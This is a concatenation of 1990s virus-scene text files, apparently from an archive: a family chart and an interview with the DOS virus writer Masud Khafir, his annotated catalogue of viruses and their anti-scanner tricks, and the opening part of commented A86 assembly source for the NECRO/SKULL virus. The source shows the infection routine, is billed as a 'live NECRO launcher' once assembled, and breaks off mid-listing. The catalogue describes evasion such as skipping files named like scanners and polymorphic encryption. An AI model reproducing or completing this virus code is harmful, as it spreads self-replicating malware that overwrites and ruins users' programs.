Virus relationship charts of Masud Khafir's viruses
===================================================
Gotcha F (732)
<20><><EFBFBD> Gotcha E (607)
<20><><EFBFBD> Gotcha A (879)
<20><><EFBFBD> Gotcha B (881)
<20><><EFBFBD> Gotcha C (906)
<20><><EFBFBD> Gotcha D (627)
<20><><EFBFBD> Pogue
<20><><EFBFBD> Legalize
<20><><EFBFBD> Coffeeshop 1
<20><><EFBFBD> Coffeeshop 2
<20><><EFBFBD> Coffeeshop 3 (Girafe A)
<20><><EFBFBD> Coffeeshop 4 (Girafe B)
<20><><EFBFBD> Cruncher 1.0
<20> <20><><EFBFBD> Cruncher 2.0
<20> <20><><EFBFBD> Cruncher 2.1
<20><><EFBFBD> PlayGame
<20><><EFBFBD> Bosnia
Seventh son 350
<20><><EFBFBD><EFBFBD><EFBFBD> Seventh son 332
<20><><EFBFBD><EFBFBD><EFBFBD> Seventh son 284
<20><><EFBFBD><EFBFBD><EFBFBD> DOS-1
Little Brother 299
<20><><EFBFBD><EFBFBD><EFBFBD> Little Brother 307
<20> <20><><EFBFBD><EFBFBD><EFBFBD> Little Brother 321
<20> <20><><EFBFBD><EFBFBD><EFBFBD> Little Brother 349 (Vote) (*)
<20> <20><><EFBFBD><EFBFBD><EFBFBD> Little Brother 361 (Vote-Erase) (*)
<20><><EFBFBD><EFBFBD><EFBFBD> Little Brother 300 (*)
Cannabis 1
<20><><EFBFBD><EFBFBD><EFBFBD> Cannabis 2
<20><><EFBFBD><EFBFBD><EFBFBD> Cannabis 3
<20><><EFBFBD><EFBFBD><EFBFBD> Cannabis 4 (*)
Dutch Tiny 126
<20><><EFBFBD><EFBFBD><EFBFBD> Dutch Tiny 124
<20> <20><><EFBFBD><EFBFBD><EFBFBD> Dutch Tiny 122
<20><><EFBFBD><EFBFBD><EFBFBD> Dutch Tiny 124B
Dutch Mini 99
<20><><EFBFBD><EFBFBD><EFBFBD> Dutch Mini 97
<20><><EFBFBD><EFBFBD><EFBFBD> Dutch Mini 91
<20><><EFBFBD><EFBFBD><EFBFBD> Dutch Mini 117
<20><><EFBFBD><EFBFBD><EFBFBD> Dutch Mini 111
46-Virus
<20><><EFBFBD><EFBFBD><EFBFBD> PCA virus
ANSI-Virus
Virus_for_Windows 1.4
MK-Worm
(*) Note: The viruses marked with (*) are NOT written by Masud Khafir!


304
textfiles.com/virus/mkinterv.iew Normal file
View File

@@ -0,0 +1,304 @@
--------------------------------------------------------------------------------
INTERVIEW WITH MASUD KHAFIR / TRIDENT / THE NETHERLANDS
--------------------------------------------------------------------------------
Give me a short description of who you are!
- I am Masud Khafir, virus writer.
Age: twenty-something.
Country: The Netherlands
That's about all that I want to reveal about my identity.
From where did you get your handle, Masud Khafir?
- 'Masud' is a common name in the middle east. I chose that name in the
spring of 1991, when the kurdish rebellion in iraq was active. Their
leader was Masud Barzani. There are more rebel leaders with that name:
Masud Rajavi, leader of the Iranian Mujahedin e Khalq and Ahmad Shah
Masud, one of the Afghan rebel leaders. 'Khafir' is a word I once
found in the dictionary. It's arab and is a rude word for non-muslims.
In the south-african language it's 'kaffir' and means 'nigger'. In
Holland it is 'kaffer' and is used for calling someone an idiot. I
found it a funny word, because of its strange history.
When did you discovered the world of computers?
- A long time ago. My first computer was a C-64. That was about 10
years ago. But I have even programmed before that time.
How long have you been active in the scene?
- Like I said, I started in the spring of 1991. That's allmost 3
years now.
How did you came into the virus business?
- It started when I got a virus from a friend. I dissasembled that
virus and after that I was wondering if I could write one myself.
In the same time I started reading the virus areas on fidonet and
there I read about Todor Todorov's Virus eXchange BBS. I was very
curious about that and so I called it a few times. That's how I got
into the scene.
Positive/negative aspects of the scene?
- I think that the attitude towards the AV community is sometimes a bit
too hostile. I see it more like a chessgame, they are our opponents,
but we don't have to be enemies. Many of them are just nice people.
But of course the same is true for the other side. Some of them just
hate us. What I also don't like is the negative image of the scene,
that adolescent rebellious attitude and creating an image of oneself
as evil and dangerous. But that's just my personal opinion. This
also means that I don't like destructive viruses.
Have you been involved in any other group than Trident?
- No.
Who started/created Trident?
- It was started by John Tardy.
What's the groups goal?
- I think the main goal is to keep in touch with each other. There's not
a big cooperation on writing viruses. Everybody does its own things.
How many people are you?
- About between 5 and 10.
Do all of them program, if not, what's the others job?
- It's mainly a programmers group. But there are some non-writers
affiliated with the group.
How is Trident (currently) organzied?
- There is no real organisation. It's mainly a group of friends.
Have you got any contacts with other virus-groups/programmers?
- Some of us have contacts with others. At this moment we can have
access to Nuke-net.
Can anyone ask for membership, or are you a "private" group?
- I guess we are more or less a private group. There have been new
members in the past. In that case we just all agreed. At this moment
we don't feel to expand.
You've programmed aloth of polymorphic things, and one of them is the
Trident Polymorphic Engine, what comments have you recieved about it?
- Well, various. I have not had that many personal responses, as I am
not too easy to reach. But it has got quite some attention in the
virus/antivirus world. It's also one of the things that made the
name Trident known in the scene.
Will you continue to "upgrade" it, or is it a finished project?
- TPE is now finished. The first versions all had some bugs. I thought
that version 1.3 would be the last one, but that one still had a small
bug. Version 1.4 seems to be okay, as far as I know now. Besides, I
don't think I would want to put out a new version again, anymore.
How many strains/mutations can it produce?
- I have no idea. Enough, I think. The most important thing is that the
decryptors can not be found with wildcard scanstrings. That's the main
idea behind polymorphism. In version 1.4 I also enhanced the way in
which it encrypts, because this was a weak point.
Even thought polymorphic engine's are a great thing, not many people
seems to use them? You have any theorie why they don't?
- I think most people just want to make their own things, rather than
use someone else's products. And maybe because antivirus writers have
been quite succesful in finding ways to detect them.
Which is the best polymorphic engine around today?
- It's hard to say. I've seen several of them but I haven't done a real
close study on any of them. Each of them has its strong and weak
points, I think. Of course there are not only the engines, but also
a lot of other polymorphic viruses, like V2P*, Maltese Amoeba,
Uruguay, etc. TPE started this way too. Some of these viruses are
just as advanced as the engines. But none of those engines and viruses
is perfect. For every one of them the AV people have found a solution.
Have you ever thought of/are you currently releasing some sort of
electronic magazine (text/executable/hard-copy)
- Yes, we have been thinking about that. But we didn't have enough good
ideas (and are too lazy) to write enough articles. We rather write
code than text. We couldn't even agree on the title...
Are you into other things such as hacking and phreaking aswell, or
just viruses?
- I once was interrested in things like hacking etc. But I'm not
involved in that scene now.
Can you name a few viruses/engines you in person have written?
- The most known are: Gotcha, 7th son, Little Brother, Pogue,
CoffeeShop, WinVir, TPE, Cruncher, PlayGame, etc..
Which one was the hardest to write?
- Probably the first one: Gotcha. WinVir and Cruncher were quite
hard too.
Do you have any sort of company or law-enforcement who are trying
to hunt Trident down?
- Perhaps. This could be possible. Anyway, we keep cautious, because
you never know...
If so, are they a real threat or just "childish"?
- There is a new law against various computer crimes since 1 march 1993.
Writing a virus is not illegal. Distributing viruses in any way can be
illegal. The law is not very clear about this. If we as writers
exchange viruses amongst each others, that could perhaps be
interpreted as something illegal. Last year another guy in Holland
was arrested for hacking, and although he hasn't been convicted for
anything yet, the law enforcement has been quite tough on him. So
they certainly can make your life hard if they want to.
Have you ever had any trouble in the group with the result of
kicked members?
- No.
How good are Trident comparing to other groups?
- Well, I leave that to others to decide.
Do you have any couriers that spread your products around?
- We don't spread our viruses in the wild. But we do exchange them
with other people in the virus scene.
What do you think about the laws against h/p/v that has arrived
lately?
- They were inevitable. I don't know much about the laws in other
countries, but I think here they are too tough. The penalties are
too high. OK, these things we do might be naughty, but they not
crimes.
What do you think about various news-papers thinking us as nerds?
- They have used the same cliche's before for computer freaks in
general. I don't know, maybe it is true for some. At least I think
most of us are young, male, IQ>100, interested in technical stuff,
etc. But that doesn't mean that we're nerds. The people that I know
aren't.
Has the scene in any way influented on your real life?
- No, not really.
Would you feel guilty if one of your viruses made damage to a
hospital?
- Yes, I would. For that reason I don't write viruses that destroy data.
I usualy don't spread them in the wild at all. I only did that once,
when I was in a bad mood. I don't wanna cause other people trouble.
For me creating them is the most important thing. But of course I
also like it if they get some worldwide attention. That's human
nature, I guess. That's why I don't mind if AV people get them.
But I don't see a problem in giving them to VX people either,
because my experience is that viruses in the VX scene very rarely
leak out in the wild.
Do you see any differences between the scene now and a couple of
years ago (concerning the underground part ofcause)?
- The scene is growing and there are more contacts between each other.
A few years ago it was much harder to get in contact with other virus
writers.
Which virus-magazine do you think is the best avalible now-a-days?
- I think my favorite is 40hex.
Which virus-group/programmer do you admire/like?
- Of course Dark Avenger was one of the best, maybe the best. He often
introduced new techniques. I also people like Dark Angel from P/S.
But to be honest, I don't often take a deep look at other viruses
anymore these days.
Which country is the best virus-writing today (Before it was
Bulgaria, maybe changed)?
- I haven't heard anything from Bulgaria for a long time. Sometimes I
have some nostalgia for the times when Bulgaria was the virus centre
of the world. :-) Today it's probably the USA, because they're the
biggest country in the west. I think it's strange we don't hear that
much about Russia.
What do you think about these virus generators, such as VCL and PS-MPC?
- They are funny things. I like them for what they can do, for the
technical side of it.
What do you think about the people using them?
- It's nice to experiment a bit with them, but creating a virus this
way is defenitly not something to be proud of.
What do you think about people bragging over (almost) nothing and
ragging with other groups aswell?
- I think they're giving the virus scene a bad name.
What do you think about such individes as board-crashers?
- I don't know any of them, but I think it's rather lame.
Describe the perfect virus :
- One that is totally bug-free. One that is 100% compatible with all
programs and doesn't for example crash the computer is you start
Windows.
Describe the perfect viruscoder :
- One that invents new techniques. One that can defeat the anti-virus
programs.
Describe the AV-community with a few lines :
- We need them. I think every virus writer uses AV programs.
It is nice when a virus can be smarter than the current AV software,
but it would be scary if they wouldn't be able to find a solution for
it. But it's a shame that some AV people hate us.
Which AV-program do think is the best, and why?
- I like TBscan a lot, mainly for its heuristic features. And it's
fast. F-prot is best in identifying viruses and it's very user
friendly. I also like AVP from russia. Sometimes it's a bit slow,
but it is very powerful. It also has a very nice info section.
What do you think about the underground's future?
- I think it will continue to grow, but perhaps it will get less
exciting. Viruses are not as special and mysterious anymore as
they were before.
Do you know/heard of any new technics coming in the near future?
- No, I wish I knew...
Any advice to people who want's to learn the basic of virus-writing?
- Take a good look at other viruses and sources. Try to understand
their weak and their strong points. Test your stuff before you give
it away, because it's a shame to have dozens of bug-fix updates for
the same virus. Do it for the fun of it, and not to cause other
people trouble. And try to be original.

450
textfiles.com/virus/mkvirlst.txt Normal file
View File

@@ -0,0 +1,450 @@
Gotcha 1
This was the first virus I wrote. It is a resident COM and EXE infector.
It infects programs when they are executed. It hides at the top of
conventional memory. When infecting it intercepts INT24, circumvents
the read-only attribute and disables Ctrl-Break. It also restores the
original file date and time after the infection. Some parts of it were
taken from the Yankee Doodle virus, but nevertheless this is an enterly
new virus.
Gotcha 4
This is a resident COM infector. It is a stripped-down variant of
version 1. The special thing about this virus is that it contains
scan-strings of a few other viruses. These scan-strings are encrypted
and in every infected file one of them is decrypted. So scanners can be
fooled to think that there are up to 8 differrent other viruses in case
a lot of files have been infected with this virus.
Gotcha 6
This version is the follow-up of version 1. This one has some additional
features. It can also infect files when they are opened, it avoids to
infect files matching the name *AN*.* (like SCAN.EXE, CLEAN.EXE,
TBSCAN.EXE etc...) and it won't infect files when the DOS environment
contains "E=mc<6D>".
Gotcha 7
This is a minor bug-fix of version 6.
Gotcha 9
In this next version a few bugs are removed and the code has been made
a little bit efficient. It can also infect files on more different DOS
funcions like rename (56h), attribute (43h), findfirst (4Eh) and many
others. It now also avoids files matching the name V*.* (like VIRX.EXE,
VSHIELD.EXE, etc..).
Gotcha 17
This version is quite different from the others. It uses another technique
to access files, similar as many bulgarian viruses (like 512). Also other
things are made more efficient. This one only infects files when they are
executed or closed. It now also avoids files matching the name F*.*.
46 Virus
This is an extremely simple virus. It just overwrites all COM files in
it's directory with a copy of itself. It's length is 46 bytes, hence the
name.
Seventh Son 1
This is a simple non-resident COM infecting virus. It will infect all
other COM files in it's directory. It circumvents read-only attributes,
intercepts INT24, disables Ctrl-break and keeps the original file date
and time when infecting. The virus contains a generation counter. If
both his own and the previous generation are 7, it will display the text
"Seventh son of a seventh son" on the screen. This virus was named after
an Iron Maiden song (yes, I admit, not very original).
Seventh Son 2
This version is a little bit smaller and more efficiently coded. This
virus alsos contain the text 'Virus' in cyrilic (<28><><EFBFBD><EFBFBD><EFBFBD>) at the end. This
has no special purpose. Just to confuse some people.
Seventh son 4
This version is again made smaller and more efficient.
Little Brother 1
This is a resident spawning EXE infector. It infects EXE files by
creating a COM file with the same name, without touching the EXE file.
The COM file only contains the complete virus. The first time the virus
is executed it will install itself in an unused part of memory (and not
run the original program). When DOS wants to execute a program, the virus
uses a clumsy algorithm to decide whether a COM or an EXE file should be
executed.
Little Brother 2
In this version a few bugs are removed and it is also a bit more
efficiently coded.
Little Brother 3
This version works a little bit different than the previous two. This
one doesn't use the resident algorithm anymore to decide wether to
execute a COM or an EXE file. Instead the original EXE program is
spawned from the COM program (the virus).
Tiny 126
This is a small resident COM infecting virus. It is written as an attempt
to write the smallest possible virus. The length of this virus is 126
bytes. It does NOT re-infect programs that are already infected. This
virus hides in memory at address 0050:0100.
Tiny 124
This one is exactly the same as the previous one, only it hides at address
0000:0100. That location is part of the interrupt area, and because of
that this virus is very unstable. It crashes very often, but nevertheless
it is able to infect files.
Tiny 124B
This is a variant of version 126. It will not infect COM files that begin
with a near JMP (E9h). This version has a disadvantage that it also tries
to infect EXE files. Infected EXE files will not function anymore.
Tiny 122
This one is based on version 124. It has the same disadvantage as
version 124B.
Mini 99
This is a small non-resident COM infecting virus. Like the previous
mentioned viruses, this one too was written as an attempt to write the
smallest possible virus. A big part of the code is similar although it
is a different type of virus. This virus will infect all COM files in
it's directory.
Mini 97
This version is 2 bytes smaller. It will not infect COM files that begin
with a near JMP (E9h).
Mini 91
This version only tries to infect the first COM file in it's directory.
Mini 117
This one is a little bit improved variant. It will infect only the first
uninfected COM file in it's directory (if the first one is infected it
will infect the second one).
Mini 111
This is an improved version of Mini 97. This one will keep the original
DTA area, so programs that use command-line input will still function.
Cannabis 1
This is an overwriting floppy bootsector virus. It is a sort of
combination of a (simplified) bootsector and a virus. Instead of
keeping the original bootsector somewhere else on the disk, it just
overwrites the original bootsector. When an infected floppy is booted,
the virus installs itself in memory and then prints the message
"Non-System disk or disk error Replace and press a key when ready" on
the screen. Then it tries to boot again. One has to boot from another
disk or from harddisk to continue. But the virus will stay resident
in memory. Sometimes the virus will print the message "Hey man, I don't
wanna work. I'm too stoned right now..." on the screen when booting, and
the computer will then hang.
Cannabis 2
Unlike the previous version, this one is able to boot from the infected
disk, just like normal bootsectors. It doesn't contain the part that
writes the "Hey man..." message anymore.
Cannabis 3
This is a minor bug-fix of version 2. The previous versions had a serious
bug that they sometimes wrote to the wrong side of the floppy.
Pogue Mahone
This one is the most famous virus of this collection. It is a resident
COM infecting virus. It's based on the last version of the Gotcha virus.
The most remarkable thing about this virus is that it uses the Mutation
Engine (MtE). The Mutation Engine is a small module written by "Dark
Avenger", which can be included in viruses to make them polymorphic.
This virus does not infect files matching the name CO*.COM (like
COMMAND.COM). When the virus becomes resident between 1:00 and 9:00
it will play the song 'Streams of Whiskey' (by The Pogues!). On the first
of May it will play another song.
Redhair ANSI bomb
This is not a virus but an ANSI bomb. Unlike most other bombs this one
does not destroy anything. This bomb is in fact both an ANSI picture and
a COM file. The COM file is infected with the MINI-117 virus. When the
ANSI bomb triggers (when the backslash key is pressed) it will rename
itself to X.COM and then execute X.COM. So the virus is then activated!
After that it changes it's name back to REDHAIR.ANS.
ANSI virus
This is another program that uses ANSI techniques. It's not just an ANSI
bomb but an ANSI virus! Many people think ANSI viruses don't exist, but
this one proves them wrong. This one uses the same trick as Redhair, it's
at the same time an ANSI picture and a COM program. When activated, it
will overwrite one .ANS file in the directory with a copy of itself. It
adjusts the text in the virus to the victim's filename.
Legalize
This is another virus that is based on Gotcha 17. It is a resident
COM and EXE infector. It doesn't infect CO*.*. The special thing about
this virus is that it will display a picture of a large green hemp leaf
when the virus becomes resident on fridays. After showing the picture,
the virus will ask the user a few questions about what he/she thinks
about legalizing cannabis. After this, the virus will quit to DOS.
The picture in the virus is packed with DIET to keep the virus small.
A few small bugs from Gotcha 17 are fixed in this virus, but unfortunatly
this virus has a new bug which causes some infected EXE programs to crash.
Coffeeshop 1
This one is based on Gotcha 17 and Legalize. Originally it was planned
to be a final bug-free version of Gotcha, but later I put the picture
routine from Legalize in it. Although it is based on Gotcha 17, a large
part of it has changed. It infects COM or EXE files when it is executed
or opened with DOS function 6C00h. It avoids to infect several known
programs that use a self-check (like most virus scanners). It also doesn't
infect several other files, like Windows files, files with internal
overlays etc. The virus doesn't use any undocumented features of DOS
anymore. I wanted it to be as compatible as possible. The picture routine
is also improved. It activates on fridays on a pseudo-random base when the
virus becomes resident. It will then show the big green hemp leaf and
after that it will continue with the original program (unlike Legalize).
Coffeeshop 2
This virus is very similar to the previous one, but with MtE included.
It only infects EXE files. At the time this virus was made a lot of
scanners claimed that they were able to detect MtE, but none of them
could detect this virus.
Coffeeshop 3
This one too is very similar to the previous ones. Like version 2,
this one is also highly polymorphic. But instead of using MtE, I wrote
the encrytion routine myself. It infects both COM and EXE files.
Coffeeshop 4
This is a minor bugfix of version 3. This one can also activate when
the virus is already resident.
Virus_for_Windows 1.4
This is a primitive non-resident virus that only infects Windows EXE
program. As far as I know this is the first known Windows virus. It
will try to infect all Windows EXE files in its directory. This virus
has a big problem, it is not able to execute the original program.
As a solution to this the virus will disinfect itself after infecting
the other programs. So one has to execute infected programs twice to
execute the original program. This virus will only infect programs which
have a big enough data-segment.
MK Worm
This is not a real virus, but some simple kind of worm. It does not
infect programs in any way. Instead it will only copy itself to a few
other directories on the disk from which it was executed. Each variant
will have a different name and also their lenghts will be slightly
different. It can spread because many people are used to try out every
new executable file they get, and many people often use the command
'COPY *.*'.
Cruncher 1.0
This is a virus that uses data-compression. It is a resident COM
infector, based on the Coffeeshop series. It compresses the victim file
after infection. So the virus will be compressed together with the
original program. The compression algorithm is the same as that of the
program 'Diet'.
Cruncher 2.0
This version also infects EXE files.
Cruncher 2.1
This version is almost equal to version 2.0 but this one asks permission
from the user before going resident. This feature changes it from a
naughty virus into a userfriendly automatic compression utility!
TPE 1.1
This is an OBJ module that can be linked to a virus to make it
polymorphic. It can be used in a similar way as the famous MtE
module. The encryption routine of TPE is taken from Coffeeshop
version 3/4.
TPE 1.2
This is a bugfix. The previous version often produced decryption
routines that didn't work on all processor types.
TPE 1.3
This is a another bugfix. This version is made fully relocatable
within a memory segment, which is very handy for non-resident
viruses. Also another incompatibility bug is fixed.
TPE 1.4
In this version the encryption/decryption algorithms are made more
complex. The previous versions could be detected by decrypting the
encrypted code.
PlayGame
This is a semi-stealth multi-partite EXE-infector. This virus infects
the master bootsector of the harddisk when an infected program is
executed. The virus only uses stealth techniques when a known anti-virus
program is executed or at the 'DIR' command. The payload of this virus
is a little arcade game that the user can play for fun. It activates in
december after 21:00.
DOS-1
This is a simple non-resident COM infector. It uses only FCB function
calls, so it is compatible with all previous DOS versions, including
version 1.0.
Bosnia
This is a variant of Coffeeshop 3/4, but with another picture routine.
The TPE 1.4 module is linked with this virus.
PCA virus
This is a very simple overwriting virus. After infecting it shows a
picture of the mascotte of the dutch magazine "PC Active". The picture
inside the virus is compressed in a special way, to keep the virus
small.
==============================================================================
Virus Characteristics List
ANSI keyboard remap-------------------+
Polymorphic-------------------------+ |
Infects Windows EXE files---------+ | |
Infects EXE files---------------+ | | |
Infects COM files-------------+ | | | |
Memory Resident-------------+ | | | | |
Overwriting---------------+ | | | | | |
Bootsector virus--------+ | | | | | | |
| | | | | | | |
V V V V V V V V Length
---------------------------------------------------
Gotcha 1 . . R C E . . . 732
Gotcha 4 . . R C . . . . 607
Gotcha 6 . . R C E . . . 879
Gotcha 7 . . R C E . . . 881
Gotcha 9 . . R C E . . . 906
Gotcha 17 . . R C E . . . 627
46 Virus . O . C . . . . 46
Seventh Son 1 . . . C . . . . 350
Seventh Son 2 . . . C . . . . 332
Seventh Son 4 . . . C . . . . 284
Little Brother 1 . . R . E . . . 299
Little Brother 2 . . R . E . . . 307
Little Brother 3 . . R . E . . . 321
Tiny 126 . . R C . . . . 126
Tiny 124 . . R C . . . . 124
Tiny 124B . . R C E . . . 124
Tiny 122 . . R C E . . . 122
Mini 99 . . . C . . . . 99
Mini 97 . . . C . . . . 97
Mini 91 . . . C . . . . 91
Mini 117 . . . C . . . . 117
Mini 111 . . . C . . . . 111
Cannabis 1 B O R . . . . . 512
Cannabis 2 B O R . . . . . 512
Cannabis 3 B O R . . . . . 512
Pogue Mahone . . R C . . P . 3017+
Redhair ANSI bomb . . . . . . . A -
ANSI virus . O . . . . . A 881
Legalize . . R C E . . . 1781
Coffeeshop 1 . . R C E . . . 1568
Coffeeshop 2 . . R . E . P . 3792+
Coffeeshop 3 . . R C E . P . 3000+
Coffeeshop 4 . . R C E . P . 3000+
Virus_for_Windows 1.4 . . . . . W . . 854
MK Worm . . . . . . . . 715+
Cruncher 1.0 . . R C . . . . 2092-
Cruncher 2.0 . . R C E . . . 4000-
Cruncher 2.1 . . R C E . . . 4800-
TPE 1.1 . . . . . . P . 1378
TPE 1.2 . . . . . . P . 1355
TPE 1.3 . . . . . . P . 1411
TPE 1.4 . . . . . . P . 1637
PlayGame B . R . E . . . 2000
Dos-1 . . . C . . . . 184
Bosnia . . R C E . P . 3112+
PCA virus . O . C . . . . 342

; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>

395
textfiles.com/virus/necro.a86 Normal file
View File

@@ -0,0 +1,395 @@
; A86 SOURCE CODE for:
;
; ++===================================================++
; || NECRO (A.K.A. 'SKULL' virus) ||
; || The 666 byte Dual Replicator ||
; || DEC 1992 by Primal Fury, Lehigh Valley, PA ||
; ++===================================================++
; -=Prepared for Crypt Newsletter 11=-
;
; Here's a virus that's actually two viruses in one. The main virus is a
; a direct action, appending .COM infector. It will search the system path
; for .COMs to infect, and may infect files on the path in preference to
; to those in the current directory (if no path is set, it stays in the
; current directory). Roughly one out of every eight infections (on a ran-
; dom basis) will be non-standard. In these infections, NECRO will toggle to
; an overwriting .EXE infector.
;
;
; This .EXE infector is composed of much of the same code as the
; COM infector -- the virus alternates between the two modes of infection
; using a 'master switch' which is hooked up to a simple randomization
; engine. The master switch, when thrown, trips a series of auxilliary
; switches which alter the virus' behavior. This saves on bytes and is
; therefore much better than having the virus drop an entirely independent
; .EXE overwriter. I hope to expand upon this 'self-programming' concept
; in future viruses.
; Infected .COM's should function as intended after the viral code appended to
; them has finished doing its thing. But infected .EXE's are ruined. These
; (provided they are under about 64K in length) will, when executed, pass
; their illness on to the next uninfected .EXE within the current directory,
; displaying the following graphic & message:
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD>۲<EFBFBD><DBB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;<3B>۲<EFBFBD><DBB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> You cant execute this file:
;<3B><><EFBFBD><EFBFBD><EFBFBD>۲<EFBFBD><DBB2><EFBFBD><EFBFBD><EFBFBD> <20> Its already dead!
; <20><><EFBFBD><EFBFBD><EFBFBD>۲<EFBFBD><DBB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD>۲<EFBFBD>߲<EFBFBD><DFB2><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD>۲<EFBFBD><DBB2>޲<EFBFBD><DEB2><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD>
; SKULL will then return the baffled user to the DOS prompt. I leave it to
; your imagination to picture the consternation on the novice's face
; as he tries to isolate the source of this overwriting infection which
; seems to pop up again and again in different directories. A very
; observant user may notice a file length increase of exactly 666 bytes in
; infected .COM's. Infected .EXE's will not increase in length unless they
; are less than ~200 bytes to begin with. Note that overwritten .EXE's larger
; than 64K will fail to load and will be non-infectious. Like Popoolar
; Science, the virus renders these programs into a .COM-like in structure.
; DOS will NOT execute these files. In any case, the programs are ruined
; by SKULL. As of this release, NECRO avoids files that are read-only or
; hidden, so these files are be safe from the virus (for now...)
; CREDITS: DARK ANGEL -- for his COM infector replicatory code. (D.A.)
; NOWHERE MAN -- for his VCL 1.0's path-searching routine. (N.M.)
;
;
; Except where noted, I have commented the code with the novice
; programmer in mind. In the places so noted, D.A.'s and N.M.'s com-
; ments, supplied from VCL 1.0 and PS-MPC assembly libraries, have been
; left intact.
; To assemble, use Isaacson's A86 to generate a .COMfile directly from
; this listing. You will have a live NECRO launcher. MASM/TASM
; compatible assemblers will require the addition of a declarative pair.
;
; Partial viral signature suitable for loading into TBScan's VIRSCAN.DAT,
; SCAN, or F-PROT 2.0x:
; [Necro]
; A9 01 00 74 29 E8 6A 00 8C C8 8E D8 8E C0 32 C0
Start: db 0e9h ; jump to find_start
dw 0
Find_start: call next ;common technique to allow virus to
next: pop bp ;find its own code. On exit, bp
sub bp, offset next ;points to start of code.
lea si, [bp+offset stuff] ;Prepare to restore orig. 3 bytes.
mov di, 100h ;push 100h, where all COMs start in
push di ;memory, & where control will be
;returned to host file.
movsw ;restore the 3 bytes formerly relo-
movsb ;cated by the virus upon infection.
mov di,bp ;point DI to start of virus.
lea dx, [bp+offset dta] ;set new Disk Transfer Address, so
call set_dta ;virus won't fuck up original.
call search_files ;call path-search/infection routine.
jmp quit ;when done, return control to
;host file.
;Nowhere Man's VCL 1.0 path search routine, slightly modified for
;compatibility with Dark Angel's code, and with 'master infection-mode
;switch' added. N.M.'s original comments have been retained for your
;enlightenment.
search_files:
mov bx,di ; BX points to the virus
push bp ; Save BP
mov byte ptr [bp+offset pathstore],'\' ;Start with a backslash
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp+offset pathstore+1] ; SI points to 64-byte buffer
int 021h
call traverse_path ; Start the traversal
traversal_loop:
cmp word ptr [bx + path_ad],0 ; Was the search unsuccessful?
je done_searching ; If so then we're done
call found_subdir ; Otherwise copy the subdirectory
mov ax,cs ; AX holds the code segment
mov ds,ax ; Set the data and extra
mov es,ax ; segments to the code segment
xor al,al ; Zero AL
stosb ; NULL-terminate the directory
mov ah,03Bh ; DOS change directory function
lea dx,[bp+offset pathstore+65] ; DX points to the directory
int 021h
;The Master Switch, tied whimsically to the system clock:
mov ah,2ch ;DOS get system time.
int 21h ;
cmp dl,13 ;is 1/100th second > 13?
jg call_infector ;if so, stay in COM infector
;mode (the default).
mov si,3 ;throw switch for EXE infect.
;back to Nowhere Man's code:
call_infector:
push di
call find_files ; Try to infect a file.
pop di
jnc done_searching ; If successful, exit
jmp short traversal_loop ; Keep checking the PATH
done_searching:
mov ah,03Bh ; DOS change directory function
lea dx,[bp+offset pathstore] ; DX points to old directory
int 021h
cmp word ptr [bx + path_ad],0 ; Did we run out of directories?
jne at_least_tried ; If not, exit
stc ; Set carry flag for failure
at_least_tried:
pop bp ; Restore BP
ret ; Return to caller
